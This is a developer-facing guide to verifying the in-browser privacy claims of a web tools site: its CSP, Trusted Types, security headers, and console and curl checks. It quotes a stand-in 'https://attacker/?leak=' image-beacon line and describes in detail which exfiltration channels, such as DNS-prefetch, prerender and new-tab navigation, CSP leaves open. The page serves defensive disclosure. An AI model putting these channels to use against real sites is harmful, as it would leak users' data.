/ VERIFY · TECHNICAL
Technical verification guide
A walkthrough for developers and security researchers. Uses browser DevTools and console commands to confirm that inyourbrowser.com does not send your data anywhere, and sets out which exfiltration channels the browser blocks and which it does not. For the friendlier, point-and-click version, see the verify page.
The site’s in-browser claim is enforced by the browser itself via a strict Content Security Policy. This page lists every check you can run, in roughly the order from cheapest to most thorough. Browser behaviour described here was tested in Chrome 154 in September 2026, some of it also in Firefox 156, unless the text says otherwise; version numbers for other browsers come from MDN's compatibility data.
1. Echo of the active CSP
Below is the exact Content-Security-Policy header that production pages carry. The actual header on your current response is identical (read it in DevTools to confirm, per step 2). Script files under /_next/static get the same header without the last two directives: a worker takes its policy from its own script response, and the framework's worker start-up code cannot pass Trusted Types.
Content-Security-Policy:
default-src 'self'
script-src 'self' 'unsafe-inline'
script-src-attr 'none'
style-src 'self' 'unsafe-inline'
img-src 'self' blob: data:
font-src 'self'
worker-src 'self'
connect-src 'none'
object-src 'none'
base-uri 'none'
form-action 'none'
frame-ancestors 'none'
manifest-src 'self'
frame-src 'none'
media-src 'self'
upgrade-insecure-requests
sandbox allow-scripts allow-same-origin allow-forms allow-downloads
allow-popups allow-popups-to-escape-sandbox
require-trusted-types-for 'script'
trusted-types iyb defaultEvery page also carries a second policy, written into its HTML at build time as a <meta> tag right after <meta charSet>. It lists the SHA-256 hash of each inline script that page ships with and nothing else:
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'sha256-…' 'sha256-…' …; script-src-attr 'none'; worker-src 'self'">
The browser enforces both policies, so an inline script runs only if it passes both: the header's 'unsafe-inline' does not override the meta policy's hash list.
Directive-by-directive:
connect-src 'none': blocks everyfetch,XMLHttpRequest,WebSocket,EventSource, andsendBeacon. It is the main barrier against scripts sending data out, but not a complete one. It does not govern navigation (seesandboxbelow and section 6), WebRTC peer connections, or resource hints such as<link rel="preconnect">,<link rel="dns-prefetch">and<link rel="prerender">, which Chrome does not check against CSP. The site's own code uses none of these; section 6 breaks this down per API.script-src-attr 'none': inline event-handler attributes such asonerror=never run. React and Next.js emit none.worker-src 'self': every worker is a script file served from this site (the PDF.js worker and the bundled text-diff, regex, find-and-replace, Markdown, YAML formatter and SQL formatter workers). A worker started from ablob:ordata:URL is refused.sandbox: the page runs as if it were in a sandboxed frame, withoutallow-top-navigation, so a frame inside the page cannot navigate this tab. The listed flags keep the site working: the real origin (for your theme setting, workers and the camera), the search box, downloads, and outbound links that open in a new tab. Browsers honour it only in the header, never in a<meta>policy. Chrome logs one expected warning on every page aboutallow-scriptstogether withallow-same-origin.require-trusted-types-for 'script'andtrusted-types iyb default: DOM sinks such asinnerHTML,srcdoc,DOMParser, script URLs andnew Workerrefuse plain strings. Only two policies may exist.defaultis created by the inline script at the top of every page; it lets through HTML with no markup in it (plus the empty<script></script>string React uses as a probe, which never runs) and this site's own script files, and never turns a string into script.iybbelongs to the site's own code and is used only where a tool parses your text as markup on purpose (see below). Enforced in Chrome and Edge 83+, Firefox 148+ and Safari 26+; MDN's compatibility data lists Firefox's checks atsetAttributeand theWorkerconstructor as preview only.object-src 'none': no plugin or Flash to backdoor data through.base-uri 'none': prevents injected<base>tags from rewriting all relative URLs to an attacker-controlled origin.form-action 'none': a planted<form>cannot submit to any URL.frame-ancestors 'none'andframe-src 'none': no other site can embed this one, and pages cannot load other URLs into frames. The markdown previewer's sandboxed preview is not affected: it is asrcdociframe whose document is written by the page, not loaded from a URL. It inherits this CSP, so images from other sites, fonts and fetches in pasted HTML are blocked, and the pasted HTML is reduced to basic formatting first, which removes the<link>hints CSP does not cover.script-srcandstyle-srcwith'unsafe-inline': see the dedicated subsection below for the full rationale.
About 'unsafe-inline' in script-src
Mozilla HTTP Observatory and similar static-analysis tools dock points (typically −20) for any CSP header that contains 'unsafe-inline' in script-src. The header still contains it, so the penalty is likely to stay, even though the per-page policy above is what keeps injected inline script out. The explanation is below in full so any security reviewer reading this can audit the trade-off rather than infer it.
Why it is in the header. Every HTML page on the site is prerendered at build time and served as a static file, including the 404 page: an address that matches no page, even inside a tool's folder, gets that prebuilt 404. A form that another site submits to one of these addresses, which Next.js would otherwise answer by rendering the page on the spot, gets a 303 redirect to a plain GET of the same static page. Code runs per request only for the /og route, which draws social-card images and sees nothing you do in a tool. Apart from its JSON-LD blocks, which are data that browsers never execute and that CSP does not govern, each page contains a few inline <script> tags:
- One head script with constant content across all pages. It keeps a record of what the CSP blocks before the network counter starts, so early blocked requests are counted too, creates the Trusted Types
defaultpolicy, installs the navigation guard described in section 6, and applies your saved theme fromlocalStoragebefore the first paint, to prevent a flash-of-wrong-theme on dark-mode users. - Next.js React Server Components flight-data scripts: a one-line bootstrap,
(self.__next_f=self.__next_f||[]).push([0]), followed by one or moreself.__next_f.push([1,"…"])calls that inline the serialized React tree for the page so it can hydrate on first load without a second network round-trip. Their content is page-specific and generated at build time by Next.js.
The three commonly-cited ways to remove 'unsafe-inline' are:
- Per-request nonces: Next.js adds nonces while it renders a page, so every page would have to be rendered on each request instead of once at build time. That would put a server render in front of each of the roughly 440 pages that are now served as static files. The site does not do this.
- Move every inline script to an external file: not possible for the flight-data scripts above, which Next.js emits inline by design for first-paint performance.
- Per-page CSP with SHA-256 hashes of every inline script: this is what the site does, as the
<meta>policy shown in section 1. At the end of each build, a step in the build adapter hashes the inline scripts of every prerendered page and writes the policy into that page. The build fails instead of shipping a page without it, or a page that contains something no hash can allow, such as an inline event handler or ajavascript:URL. The header keeps'unsafe-inline'only as the fallback for HTML rendered at request time, which cannot carry build-time hashes. No page is served that way: an unknown address gets the prebuilt 404, a form POST from another site is redirected to a GET of the static page, and the build fails if either stops being true.
What injected markup can still do. On every prerendered page, an injected inline <script> block, an event handler attribute such as onerror, and a javascript: URL are blocked by the per-page policy, and in browsers with Trusted Types the site's code cannot write markup into the page through a DOM sink without one of its two policies. The codebase has also been audited for XSS sinks. Every dangerouslySetInnerHTML carries either the constant head script or JSON-LD serialized through a jsonLdString() helper that escapes <, U+2028, and U+2029. The three places that parse your text as markup go through one module that holds the iyb policy: the markdown previewer reduces pasted HTML to an allowlist of formatting tags and writes it only into an iframe whose sandbox attribute is empty (no scripts, no allow-same-origin); the HTML entity decoder escapes every < and parses the rest in a detached <textarea>; the XML formatter parses into an inert document and copies it into plain data. YAML parses with the safe schema. There is no eval, no new Function, no string-argument setTimeout, and lint rules flag new raw HTML sinks. Plain injected HTML still works without script: a <link rel="dns-prefetch"> or <link rel="preconnect"> makes the browser look up a hostname (a preconnect also opens a connection to it), a <link rel="prerender"> makes Chrome send a full GET request to any URL, so data can ride in its path or query string, and a <meta http-equiv="refresh"> tries to navigate the tab (the navigation guard cancels that in browsers with the Navigation API). In browsers without Trusted Types (Firefox before 148, Safari before 26), keeping markup out of the page still depends on the site's code having no HTML-injection bug; the per-page policy still stops script inside such markup from running. And code served from this site's own bundles is trusted by every one of these policies, so a compromised dependency is not contained by CSP or Trusted Types.
If a script did run, the other directives would limit what it could send, but they would not contain it. connect-src 'none' blocks fetch, XMLHttpRequest, WebSocket, EventSource, and sendBeacon. form-action 'none' blocks form submission. object-src 'none' blocks plugins. img-src 'self' blob: data: blocks the common image-beacon pattern of new Image().src = "https://attacker/?leak=". In browsers with the Navigation API (Chrome and Edge 135+, Firefox 147+, Safari 26.2+), the navigation guard cancels every attempt the page makes to load another site's address in this tab (stepping back through your own history is not affected, and carries no new data), and the sandbox directive stops frames inside the page from doing it. Some channels stay open:
- A new tab. The script could open one to an attacker's site, with data in the URL, the next time you click anywhere on the page, or plant a link that you open in a new tab with Ctrl-click. The guard only sees this tab.
- A WebRTC peer connection, which no CSP directive covers.
- A resource hint such as
<link rel="dns-prefetch">or<link rel="preconnect">. The browser then looks up a hostname the attacker chose, and data encoded in that name reaches the attacker's DNS server; a preconnect also opens a connection to that host. Chrome applies neither CSP norX-DNS-Prefetch-Controlto these hints. - A
<link rel="prerender">, which makes Chrome fetch any URL in the background: a full GET request, so data can travel in the path or query string. CSP does not check it, and neither the navigation guard nor thesandboxapplies. Only Chrome and other Chromium browsers support it. - Requests to this site itself, such as an image or page address with data in it. They end up in the hosting provider's logs. (
connect-src 'none'blocksfetchto this site too, but not these.) - An email draft. The guard lets a
mailto:link through when you click it, so a script could turn a link, such as the footer's contact address, into one that puts data in the draft your mail app opens. Nothing is sent unless you press Send there. - Navigations the browser starts itself (a typed address, “Open link in new tab” from the context menu), and all navigation in browsers without the Navigation API.
None of these channels shows up as a blocked request or in the network counter. A script could also open a blank or blob: window on this site's own origin after one of your clicks. That window inherits the CSP, so connect-src 'none' still holds inside it, but the Permissions-Policy in section 9 does not, and the navigation guard does not run there.
In Chrome 152 and later, a Connection-Allowlist response header would close the first four channels (tested in Chrome 154; other Chromium browsers were not tested, and Firefox and Safari do not support it). The site does not send it yet: that header also blocks every outbound link it does not list exactly, including links that redirect, and the QR scanner's Open URL link, which can point anywhere. Each reference link on the site has to be listed and checked first.
The net effect: the audit penalty reflects the header on its own. On the pages themselves, the per-page hash policy and Trusted Types make the browser, not only the absence of XSS bugs, keep injected script out, while the CSP narrows the ways a script that does run could send data out without closing all of them. If you are evaluating this site for use with sensitive files, the checks on the rest of this page show what the site's own code does with a file you drop in: it processes it in the tab and sends it nowhere.
2. Verify the CSP in DevTools
- Open DevTools (
F12orCtrl+Shift+I/Cmd+Option+I). - Network tab. Reload the page if the request list is empty.
- Click the very first row (the document fetch).
- Headers panel. Find
content-security-policyunder Response Headers and confirm it containsconnect-src 'none'. - For the per-page policy, open the page source (
Ctrl+U/Cmd+Option+U) and search forhttp-equiv. It sits near the top of<head>, right after<meta charSet="utf-8"/>. Use the source rather than the Elements panel: on some pages whose content depends on your time zone or locale (the Unix timestamp and time zone converters, for example), React rebuilds the page after it loads and the<meta>element disappears from the Elements panel. The browser keeps enforcing the policy it read.
Illustration of what the Response Headers panel should look like. Real browser UI will differ in colour and exact layout. The preload token is in the header, but the domain is not on the browsers' HSTS preload list yet (see section 9).
In the Console, Chrome and Edge show one yellow warning on every page: An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing. It comes from the page's own sandbox directive and is expected. The page has no such iframe; the flags are needed for the page itself to keep its origin and run scripts. Chrome 154 also logs Error with Permissions-Policy header: Unrecognized feature: 'attribution-reporting'. Chrome no longer knows that feature name, so that one entry in the Permissions-Policy header (section 9) has no effect there; the rest of the header still applies.
3. Console commands to confirm each defence
Paste each of the following into the DevTools Console. The expected behaviour follows each command.
fetch("https://example.com").then(() => "SENT").catch(e => e.message)
// Expected: "Failed to fetch" in Chrome and Edge (Firefox and Safari word it
// differently), never "SENT". A red Console error above it says the request
// violates the Content Security Policy directive "connect-src 'none'".await new Promise(r => { const es = new EventSource("https://example.com"); es.onerror = () => r(es.readyState); })
// Expected: 2 (CLOSED), almost immediately. CSP blocks the connection.navigator.sendBeacon("https://example.com", "leak")
// Expected in Chrome and Edge: true, plus a red Console error for
// "connect-src 'none'". The return value only says the browser queued the
// beacon; the CSP blocks it when the browser tries to send it.document.body.insertAdjacentHTML("beforeend", "<b>injected</b>")
// Expected in Chrome and Edge 83+, Firefox 148+ and Safari 26+: a TypeError
// about Trusted Types (Chrome: "This document requires 'TrustedHTML'
// assignment"), and nothing is added to the page. Trusted Types refuse markup
// passed to a DOM sink as a plain string.navigation.navigate("https://example.com/?leak=1").finished.catch(e => e.name)
// Expected in Chrome and Edge 135+, Firefox 147+ and Safari 26.2+: "AbortError",
// and the tab stays on this page: the navigation guard cancelled it (Chrome also
// logs an uncaught AbortError for the navigation's other promise). Browsers
// without the Navigation API throw a TypeError instead. If the tab does go to
// example.com, your browser is not covered by the guard.document.cookie // Expected: "" (no cookies are set by this site).
Array.from({length: localStorage.length}, (_, i) => localStorage.key(i))
// Expected: [] or a subset of ["theme", "nc_dismissed"]. No other keys.
// "theme" = dark/light preference; "nc_dismissed" = whether the floating
// network-counter widget was closed by the user. Both are UI state only,
// never user file content. The values are just as fixed: "light" or "dark"
// for theme, "1" for nc_dismissed (check them in the Application tab).(await indexedDB.databases?.() || []).map(db => db.name) // Expected: [] in browsers that support indexedDB.databases().
Illustration of what the Console output should look like for the first command.
4. Network tab during tool use
Reload, clear the request log, and use any tool: drop a PDF into merge, paste JSON into the formatter, encode a QR. After the tool finishes, the request log should still be empty (or contain only same-origin resource fetches for lazy-loaded libraries, never a POST or PUT carrying user content).
Illustration of an empty Network tab after tool use.
5. Application tab: storage audit
Open Application (Chrome / Edge) or Storage (Firefox). Under Local Storage for this origin, you should see at most two entries: theme, holding light or dark (set if you have toggled dark mode), and nc_dismissed, holding 1 (set if you have closed the floating network-counter widget). Check the values as well as the names. Cookies, Session Storage, IndexedDB, and Cache Storage should all be empty for this origin, and no service worker should be registered.
Illustration of the Application tab showing only the UI-state localStorage keys.
The storage panel on the verify page reads Local Storage, Session Storage, cookies, IndexedDB and service worker registrations from inside the page. In Chrome and Edge it also reports whether Cache Storage or any other storage holds data for the site, without opening it; it cannot list what is inside. To look inside Cache Storage, use DevTools rather than the Console. Running caches.keys() or navigator.storage.getDirectory() creates storage for the site in Firefox, and getDirectory() does in Chrome too.
These checks show what the site's own code stores. They are not a test for injected code: a script running in the page could delete what it stored before you look. Your browser also keeps things outside this origin's storage. Its HTTP cache holds the site's pages and scripts, not your data; history, the download list and the data it keeps to restore tabs are covered in section 6.
6. Per-API breakdown
| Browser API | Used by | Can it leak data? |
|---|---|---|
fetch / XMLHttpRequest | Only the “Try to send data” demo on the verify page, which asks your browser to fetch example.com so you can watch the policy block it. No tool uses them. | No. connect-src 'none' blocks both. |
WebSocket / EventSource | Nothing on this site. | No. Same CSP directive blocks both. |
navigator.sendBeacon | Nothing on this site. | No. The call returns true because the browser queues the beacon, then connect-src 'none' blocks it before anything is sent. |
FormData / HTML form submit | Nothing on this site. The search box is a form, but the page handles it and never submits it. | No. form-action 'none' blocks any HTML form submission. |
Top-level navigation (location, window.open, links) | Ordinary links, search (which puts your search term after the # in the address, a part browsers never send to this site's server; older links that use ?q= instead still work, and those do reach it), and the QR scanner's Open URL link (only when you click it). | Partly. No CSP directive restricts where a page can navigate. In browsers with the Navigation API (Chrome and Edge 135+, Firefox 147+, Safari 26.2+), a guard in the page's head script cancels every attempt the page makes to move this tab to another site or to a blob:, data: or javascript: address, and the CSP sandbox stops frames inside the page from navigating it. A script could still open a new tab to another site, with data in the URL, the next time you click on the page, and older browsers are not covered. The site's own links never carry file contents or text you enter in a tool. |
FileReader / Blob.arrayBuffer() | Every tool that reads a file you drop or choose. | No. Reads bytes into memory; cannot send them. |
Canvas + toBlob | All image tools, favicon generator, PDF-to-image, compress PDF, Crop PDF (its default mode, which turns cropped pages into images), the page thumbnails and previews in the PDF tools, QR code and barcode generators. | No. The result is held in memory and downloaded through a short-lived blob: URL created in the tab, never a data: URL: Chrome and other Chromium browsers keep a download's URL in their history database, and for a data: URL that is the file itself (up to 8,190 characters, enough for a whole QR code image). The download list still records other details; see Download list below. |
Web Crypto (crypto.subtle.digest, getRandomValues, randomUUID) | Hash tool (SHA-256, SHA-512, SHA-1), password generator, UUID generator. | No. Pure compute; no network. |
Web Workers | PDF.js renderer, regex worker, find-and-replace worker, Markdown worker, YAML formatter worker, SQL formatter worker, diff worker. | No. Every worker script is a file served from this site (/pdf.worker.min.mjs, and the regex, find-and-replace, Markdown, YAML formatter, SQL formatter and diff workers under /_next/static); worker-src 'self' refuses blob: and data: workers. The regex, Markdown, YAML formatter, SQL formatter and diff workers start with their page, and the find-and-replace worker the first time its regex mode has work; each is reused between runs, and replaced when a job runs past its time limit or new input arrives while one is still running. The SQL formatter also refuses input over its size or nesting limits before starting a job, and replaces its worker after a large job to release the memory. The CSP applies inside workers too. |
navigator.mediaDevices.getUserMedia | QR code scanner only. | No. Frames are decoded locally by jsQR and never sent anywhere. |
WebRTC (RTCPeerConnection) | Nothing on this site. | Not blocked. connect-src does not cover peer connections, and no browser enforces a CSP directive that does. Chrome's Connection-Allowlist header would block them in Chrome; the site does not send it yet. The site never creates one. |
DNS resource hints (<link rel="dns-prefetch">, <link rel="preconnect">) | Nothing on this site. The markdown previewer removes them from pasted HTML. | Not blocked. In Chrome, CSP does not apply to these hints, and X-DNS-Prefetch-Control: off only affects ordinary links. Injected markup could make the browser look up a hostname that carries data, and the network counter would not see it. |
Prerender hints (<link rel="prerender">) | Nothing on this site. The markdown previewer removes them from pasted HTML. | Not blocked. Chrome turns an injected one into a background GET of the URL (NoStatePrefetch) without a CSP check, so data in the path or query would leave, and the network counter would not see it. Chrome's Connection-Allowlist header would block it; the site does not send it yet. |
Speculation rules (<script type="speculationrules">) | Nothing on this site. | Blocked. In Chrome an injected rule set could prefetch a URL in the background without the tab changing, but it is an inline script, and the per-page hash policy refuses any inline script that is not the page's own. |
postMessage | Only between a page and its own Web Workers. There is no cross-window messaging: the only iframe is the markdown previewer's sandboxed preview, which cannot run scripts, and the site never calls window.open(). | No. Worker messages stay inside the tab. |
navigator.clipboard.writeText | All Copy buttons. | Not through the site: its code only writes and never reads the clipboard (Chromium browsers also block reads through the Permissions-Policy). Once you copy something, your operating system may keep its own copy: Windows clipboard history and cloud clipboard, Apple Universal Clipboard, or a clipboard manager. On Windows, private windows in Chrome, Edge and Firefox mark copies so that clipboard history and cloud clipboard skip them. |
localStorage | Two UI-state keys only: theme (dark/light) and nc_dismissed (network-counter widget visibility). No tool persists user content. | No, by definition. Stored only on your device. |
Features of your browser and operating system
These belong to your browser or operating system, not to the site. They exist on every website, the site's CSP does not govern them, and the network counter does not see them. Where a page can ask the browser to hold back, the site does, as the rows below say. Vendor behaviour was checked against Chrome 154 and the vendors' documentation in September 2026.
| Feature | What it involves | Can it leak data? |
|---|---|---|
| Session restore | Browsers save what is in a page's fields, and the path of a file you picked, with the tab, so Back, Reopen closed tab and crash recovery can restore them. That data is written to disk. | Not over the network. Every text, number and date field on the site is marked autocomplete="off", which keeps it out of Chrome's saved tab state (tested); Firefox's session store is written to skip such fields too, while Safari may still save what is in text areas. File pickers are emptied the moment you pick a file (the tool keeps its own copy in memory), so the file's folder path is not kept with the tab, and a file dropped outside a tool's drop zone is not opened as a file:/// page, which would put its path in your history. |
| Online spell check and writing suggestions | With Chrome's Enhanced spell check or Edge's Microsoft Editor (on by default in Edge), the browser sends the text of spell-checked fields to Google or Microsoft. Edge's text prediction also uses a Microsoft cloud service. | Turned off for every field: each page sets spellcheck="false" and writingsuggestions="false" on <body>, every field inherits them, and none opts back in. Tested in Chrome; Edge was not tested. |
| AI assistants built into the browser | Gemini in Chrome, Copilot in Edge, Firefox's AI chatbot, Perplexity Comet. | Not blocked. When you use one, it reads the page, including what you paste and the results, and sends it to its provider. Gemini in Chrome shares the current tab by default when you start a chat, and is not available in Incognito. No website has a page-level way to opt out: there is no header, meta tag or Permissions-Policy value for it. Keep the assistant closed on a tab that holds sensitive data. |
| Page translation | Translating the page with the browser's built-in translator. | Not blocked. Chrome and Safari send the page's text to Google or Apple to translate it. Results the page shows as ordinary text are included; the contents of text fields are not. |
| Download list | Every Download button. | Not the contents. Because downloads go through short-lived blob: addresses, the browser's download list records the file name, the folder, the size, the type and the page address, but not the file itself. A file saved into a folder that syncs to the cloud is uploaded with it. |
| History | The addresses you visit, including a search term after /#q=. | The term never reaches this site's server, but your browser keeps the full address in its history, and history sync, if you have it on, copies it to your browser account. Nothing you enter in a tool goes into the address. |
| Extensions and phone keyboards | An extension allowed to read the site; the on-screen keyboard. | Not blocked. An extension with access to the page can read everything on it, and a phone keyboard may learn what you type. Private windows keep extensions off unless you allowed them there, and Chrome's and Firefox's private tabs on Android ask keyboards not to learn. |
7. What downloaded files contain
Every download is saved through a short-lived blob: URL created in the tab, never a data: URL. What goes into the file:
- PDF tools load and save through one shared helper. It writes only the objects the document still uses, so leftovers of earlier saves, removed pages and replaced values are not carried into the output, and the PDF library's own producer stamp and processing dates are not added. Rotate, watermark, page numbers and lossless compress keep the source's document properties (title, author, XMP, file ID). Delete pages, split, reorder, merge, image to PDF, the image modes of compress and the default mode of crop write empty document properties and a new random file ID, and drop comment authors and dates. In every tool that keeps the page content, comment text, form values, attachments and content in hidden layers stay in the file. Crop's default mode, Remove the cut-off area, replaces each cropped page with an image of the selected area, so nothing outside it remains on that page; its Keep text selectable mode only hides the cut-off area, which anyone can restore.
- Image tools that re-encode through the Canvas API write no metadata. Image to PDF embeds JPEGs without re-encoding but removes their EXIF (including GPS), XMP, IPTC, comments, C2PA and thumbnails first; the rare mirrored photo, and a JPEG the filter cannot read, is re-encoded through the canvas instead. Image to Base64 and the Base64 tool's image mode remove the same blocks by default from JPEG, PNG, WebP and GIF files (keeping the orientation, so photos stay upright) and offer a Keep original metadata option. Other formats, SVG included, are encoded unchanged, and the tool says so. The Base64 tool's File to Base64 mode encodes any file exactly as it is, metadata included, and says so when the file is an image.
- Tools that preview your original image through a
blob:address (convert, compress, rotate, resize, crop, image to PDF) refuse SVG files, so the preview cannot be opened in its own tab as an SVG document that runs script.
8. Lazy-loaded libraries
The heavy libraries (pdf-lib, pdfjs-dist, qrcode, jsqr, jsbarcode, marked, js-yaml, sql-formatter, cronstrue) are bundled at build time and loaded on demand, only by the tools that use them. Some load when you first use a tool, for example PDF.js when you add a PDF and qrcode when you type into the QR code generator. marked (inside the markdown previewer's Web Worker), js-yaml (inside the YAML formatter's Web Worker), sql-formatter (inside the SQL formatter's Web Worker) and cronstrue load as their tool's page opens, because those tools show the result for a sample straight away. The PDF.js worker file, /pdf.worker.min.mjs, is fetched when a tool first reads a PDF with PDF.js (for page thumbnails, rendering or text extraction). Scripts under /_next/static stay in your browser’s cache for up to a year. Everything is fetched from the same origin, never from a third-party CDN. You can verify this in the Network tab the first time you use a given tool: every script you see come down is served from www.inyourbrowser.com.
9. Other security headers
The following headers come with every response from the site's own routes: pages, scripts, worker scripts, images and text files. A few responses that the hosting platform generates itself do not carry them; see the end of this page.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
X-DNS-Prefetch-Control: off
Origin-Agent-Cluster: ?1
Permissions-Policy: camera=(self), microphone=(), geolocation=(),
usb=(), payment=(), serial=(), bluetooth=(),
magnetometer=(), accelerometer=(), gyroscope=(),
midi=(), autoplay=(), clipboard-write=(self),
clipboard-read=(), display-capture=(),
browsing-topics=(), attribution-reporting=(),
idle-detection=(), screen-wake-lock=(),
xr-spatial-tracking=(), interest-cohort=(),
hid=(), local-fonts=(), window-management=(),
publickey-credentials-get=(),
publickey-credentials-create=(),
identity-credentials-get=(), otp-credentials=(),
storage-access=(), gamepad=(), keyboard-map=(),
fullscreen=(), picture-in-picture=(),
encrypted-media=(), sync-xhr=(),
compute-pressure=()The Strict-Transport-Security header carries the preload token, but inyourbrowser.com is not on the browsers' HSTS preload list. Vercel answers the address without www with its own HSTS header, which lacks includeSubDomains and preload, so the domain does not qualify yet. Until it is listed, a browser's very first visit, if it starts over plain http://, is not covered by HSTS.
Permissions-Policy is honoured by Chrome, Edge and other Chromium browsers only; Firefox and Safari ignore the header. camera=(self) applies to every page, although only the QR code scanner uses the camera. Chrome 154 no longer recognises attribution-reporting (see the Console note in section 2). Features the header does not name, such as the client hints, keep the browser's default.
These headers govern this site's own pages. A blob: or about:blank window that a script on the page opens itself starts from the browser's defaults instead, so the Permissions-Policy above is not a barrier against injected script. Such a window does inherit the CSP. The site's own code never opens such a window, and the image tools that show your original file through a blob: address refuse SVG files (see section 7).
Per-route exception: Cross-Origin-Resource-Policy on public images
Five asset routes return Cross-Origin-Resource-Policy: cross-origininstead of the default same-origin:
/og: dynamic social card image (Open Graph / Twitter card)/opengraph-image: static fallback social card image/icon: 48×48 favicon/icon.svg: SVG favicon/apple-icon: 180×180 Apple touch icon
These five routes exist solely to be loaded by external clients (social card previewers, the browser tab UI, PWA install flows, search-result thumbnails). They are brand images: /og draws a social card from the title in its URL, and the other four are fixed icons. None of them contain user data, so a permissive cross-origin value carries no information disclosure risk. /og draws only characters its built-in font has (up to 100 of them): anything else in a title, such as CJK text or emoji, is left out, so drawing a card never makes the server fetch glyphs from another site. It also sends X-Robots-Tag: noindex, which keeps the cards out of search indexes and changes nothing else. The relaxation is per-route: every HTML page and every tool endpoint continues to return same-origin, and the connect-src 'none' directive is unchanged. You can confirm both states with a one-liner:
curl -sI "https://www.inyourbrowser.com/json-formatter" | grep -i cross-origin-resource # Expected: Cross-Origin-Resource-Policy: same-origin curl -sI "https://www.inyourbrowser.com/og?title=Test" | grep -i cross-origin-resource # Expected: Cross-Origin-Resource-Policy: cross-origin
10. External validators you can run yourself
An independent scanner will confirm the headers above. The link opens with the site URL pre-filled:
The limits of in-browser verification
Self-serve verification proves the current page is behaving as described. It does not prove the site cannot be changed in the future, and it does not cover what your browser and operating system do on their own. Three ways to harden your trust over time:
- Re-read the response headers periodically. Every response the site's own code produces (pages, scripts, the PDF.js worker, images, text files) carries the CSP above. A few responses Vercel generates itself do not: its redirects (such as the one from inyourbrowser.com to www.inyourbrowser.com), the plain-text 400 for a malformed address such as
/%, and scripts under/_vercel/that no page on the site loads. Its image endpoint/_next/imagesends a CSP of its own that allows no script. None of these is an HTML page that runs script. - Know what you are trusting beyond this page: the npm packages locked in
package-lock.json, the build and hosting on Vercel, and the accounts that control the source repository on GitHub, the Vercel project and the domain's DNS. Whoever controls any of them could change what the site serves, headers included, and every policy on this page trusts code served from the site's own bundles. - For passwords, keys and tokens, use a private window. In Chrome's Incognito, Enhanced spell check and Gemini are off, extensions stay off unless you allowed them, copies are kept out of Windows clipboard history and cloud clipboard, and Android keyboards are asked not to learn what you type. A private window does not stop page translation, Safe Browsing checks, or the writing, AI and accessibility tools built into your operating system.
← Back to the non-technical check page
Last updated September 30, 2026.